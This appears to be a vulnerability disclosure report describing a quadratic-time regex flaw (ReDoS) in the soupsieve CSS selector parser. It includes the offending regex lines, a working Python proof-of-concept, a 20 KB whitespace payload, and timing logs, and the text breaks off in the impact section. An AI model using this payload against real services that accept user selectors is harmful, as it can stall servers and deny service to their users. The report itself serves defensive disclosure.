## Summary Before tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, `a` + `" "*n` + `b` — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU. ## Trust model (Q0) The selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected. ## Root cause (exact anchors) — `src/soupsieve/css_parser.py` ```python # line 185-186 RE_WS_BEGIN = re.compile(fr'^{WSC}*') # anchored at start -> .search() only tries pos 0 -> linear (safe) RE_WS_END = re.compile(fr'{WSC}*$') # NOT anchored at start -> .search() tries every offset # selector_iter, lines ~1322-1326 m = RE_WS_BEGIN.search(pattern) index = m.end(0) if m else 0 m = RE_WS_END.search(pattern) # <-- O(n^2) here end = (m.start(0) - 1) if m else (len(pattern) - 1) ``` `WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset. The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect. ## Reproduction environment (discipline #12 — published artifact) - git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_ws_trim.py`. - Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py` → same O(n²) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`). - Python 3.11.15 and 3.14.6 both reproduce. ## PoC (`poc/poc_redos_ws_trim.py`) ```python import sys, time sys.path.insert(0, ".") import soupsieve as sv def ct(sel): t0 = time.perf_counter() try: sv.compile(sel); st = "ok" except Exception as e: st = type(e).__name__ return time.perf_counter() - t0, st print(f"soupsieve {sv.__version__}\n") print("VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):") for n in (2000, 4000, 8000, 16000): dt, st = ct("a" + " " * n + "b") print(f" n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms [{st}]") payload = "a" + " " * 20000 + "b" dt, st = ct(payload) print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b') (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]") ``` Isolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `"div"+" "*n+">"` is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `" "*n+"x"` stays linear (32000→1.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`. ## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`) ``` soupsieve 2.9 VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace): n=2000 len=2002 112.3 ms [ok] n=4000 len=4002 411.5 ms [ok] n=8000 len=8002 1602.9 ms [ok] n=16000 len=16002 6464.1 ms [ok] VALID-looking 'a' + '/*x*/'*n + 'b' (CSS comment run): n=1000 len=5002 48.9 ms [SelectorSyntaxError] n=2000 len=10002 194.8 ms [SelectorSyntaxError] n=4000 len=20002 780.2 ms [SelectorSyntaxError] n=8000 len=40002 3145.3 ms [SelectorSyntaxError] [+] Single call: compile('a' + ' '*20000 + 'b') (len=20002) [+] wall time = 10.23 s [ok] ``` ## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`) ``` soupsieve 2.8.4 VALID selector 'a' + ' '*n + 'b': n=2000 len=2002 102.7 ms [ok] n=4000 len=4002 404.3 ms [ok] n=8000 len=8002 1618.2 ms [ok] n=16000 len=16002 6457.9 ms [ok] [+] Single call: compile('a' + ' '*20000 + 'b') wall time = 10.11 s [ok] ``` ## Impact — calibrated - Confirmed: quadrati

AI Analysis